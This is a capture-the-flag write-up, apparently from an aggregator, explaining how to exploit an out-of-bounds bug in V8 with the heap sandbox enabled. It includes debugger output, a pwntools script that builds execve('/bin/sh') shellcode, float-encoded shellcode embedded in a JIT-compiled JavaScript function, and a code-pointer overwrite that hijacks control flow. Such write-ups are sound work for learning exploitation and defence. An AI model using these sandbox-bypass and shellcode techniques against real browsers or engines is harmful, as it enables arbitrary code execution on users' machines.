Aggregator
Dice CTF Memory Hole: Breaking V8 Heap Sandbox
In this challenge, we need to exploit V8 JavaScript engine with heap sandbox enabled. The bug is very simple: an array OOB. We bypass the sandbox by rewriting code field of function object, so that we can control the low 32 bits of rip register. We write the shellcode as double floating point immediate numbers in function and compile this function using JIT, and set rip to address of the shellcode to execute execve.
0x01 Sandbox OverviewThe detail of the sandbox is here, but I will not detail it here. One important protection is that it converts all external pointers to indexes of a lookup table, such as pointer to web assembly RWX page and pointer of ArrayBuffer backing store. Thus, we cannot use normal approach to achieve arbitrary read and write.
0x02 Approach Hijacking Program CounterIf we %DebugPrint a function object, we can see there is a code field pointing to an object at a r-x page. If we type job command to that code field, we can see many assembly instructions. These are exactly the instructions that will be executed if the function is called.
pwndbg> job 0x7fb0804ad55 0x7fb0804ad55: [Function] - map: 0x07fb082022c1 <Map(HOLEY_ELEMENTS)> [FastProperties] ... - code: 0x07fb00004f01 <Code BUILTIN CompileLazy> <---- code field ... pwndbg> job 0x07fb00004f01 ... Instructions (size = 1112) 0x7fb07e8d6c0 0 55 push rbp 0x7fb07e8d6c1 1 4889e5 REX.W movq rbp,rsp ...We can verify this by setting a break point at 0x7fb07e8d6c0 and call the function in JavaScript. We can see the breakpoint is triggered in debugger.
Therefore, we can try to modify this field to see if we can hijack rip when this JavaScript function is called. We set the code field to 0x414141 using gdb set command, and call this function in JavaScript. We can see a crash at following location:
► 0x7fb07e8206b test dword ptr [rcx + 0x1b], 0x20000000 0x7fb07e82072 jne 0x7fb07e82081 <0x7fb07e82081> 0x7fb07e82078 add rcx, 0x3f 0x7fb07e8207c jmp 0x7fb07e8208c <0x7fb07e8208c> ↓ 0x7fb07e8208c jmp rcxThe value of rcx is 0x7fb00414141, which is base address plus the value we have provided.
Looking at the assembly code where the crash occurs, we can conclude that if dword ptr [rcx + 0x1b] & 0x20000000 is zero, rip will be set to rcx + 0x3f, which is an easily satisfiable condition.
Writing Shellcode with Immediate NumbersUnlike web assembly, whose JIT code is stored in region outside the V8 heap, the normal JavaScript function store the JIT code inside the V8 heap (e.i. the 32-bit region starting with the base address, read this for more details). We can see this also by looking at code field of a JITed JavaScript function object.
const foo = () => { return [1.1, 2.2, 3.3]; } %PrepareFunctionForOptimization(foo); foo(); %OptimizeFunctionOnNextCall(foo); foo(); %DebugPrint(foo); readline(); DebugPrint: 0x29820804ae0d: [Function] - map: 0x2982082022c1 <Map(HOLEY_ELEMENTS)> [FastProperties] ... - code: 0x298200044001 <Code TURBOFAN> ... pwndbg> job 0x298200044001 0x298200044001: [Code] ... Instructions (size = 304) 0x298200044040 0 8b59d0 movl rbx,[rcx-0x30] ... 0x29820004409f 5f 49ba9a9999999999f13f REX.W movq r10,0x3ff199999999999a 0x2982000440a9 69 c4c1f96ec2 vmovq xmm0,r10 0x2982000440ae 6e c5fb114107 vmovsd [rcx+0x7],xmm0 0x2982000440b3 73 49ba9a99999999990140 REX.W movq r10,0x400199999999999a 0x2982000440bd 7d c4c1f96ec2 vmovq xmm0,r10 0x2982000440c2 82 c5fb11410f vmovsd [rcx+0xf],xmm0 0x2982000440c7 87 49ba6666666666660a40 REX.W movq r10,0x400a666666666666 ...As we can see in the JIT code, the IEEE representations of 1.1, 2.2 and 3.3 are compiled to r-x page inside the V8 heap region. We can write shellcode using these numbers and connect them with a jmp instruction. Since jmp instruction consumes 2 bytes, we have 6 bytes for shellcode, which are definitely enough.
Therefore, we can set rip to the shellcode using the method mentioned in last subsection. The condition can be easily satisfied by putting a 1.0 at first element of array.
We generate the shellcode with following scripts, and convert the hex numbers into IEEE floating point numbers using this website:
from pwn import * context(arch='amd64') jmp = b'\xeb\x0c' shell = u64(b'/bin/sh\x00') def make_double(code): assert len(code) <= 6 print(hex(u64(code.ljust(6, b'\x90') + jmp))[2:]) make_double(asm("push %d; pop rax" % (shell >> 0x20))) make_double(asm("push %d; pop rdx" % (shell % 0x100000000))) make_double(asm("shl rax, 0x20; xor esi, esi")) make_double(asm("add rax, rdx; xor edx, edx; push rax")) code = asm("mov rdi, rsp; push 59; pop rax; syscall") assert len(code) <= 8 print(hex(u64(code.ljust(8, b'\x90')))[2:]) """ Output: ceb580068732f68 ceb5a6e69622f68 cebf63120e0c148 ceb50d231d00148 50f583b6ae78948 """The final function that can generate the shellcode is shown below:
const foo = ()=> { return [1.0, 1.95538254221075331056310651818E-246, 1.95606125582421466942709801013E-246, 1.99957147195425773436923756715E-246, 1.95337673326740932133292175341E-246, 2.63486047652296056448306022844E-284]; }Another thing to note is that we must put the immediate numbers as elements of array, instead of using them in other ways like func(1.1, 2.2). The later one will generate JIT code that loads floating point numbers as HeapNumber, so that the immediate numbers cannot be compiled into r-x page.
Also, JIT compiling foo with loop can trigger garbage collection, so that we must compile it before triggering any vulnerability.
Arbitrary Read and Write within V8 Heap Region using TypedArrayFinally, we need to use the vulnerability to actually implement the idea mentioned above. We found that we can still use TypedArray to achieve arbitrary read and write within V8 heap region (e.i. 32-bit region starting with the base address). Therefore, we use array OOB write to rewrite field of Uint32Array to achieve this arbitrary read and write. We also use array OOB read to leak addresses of related function objects. The full exploit is here.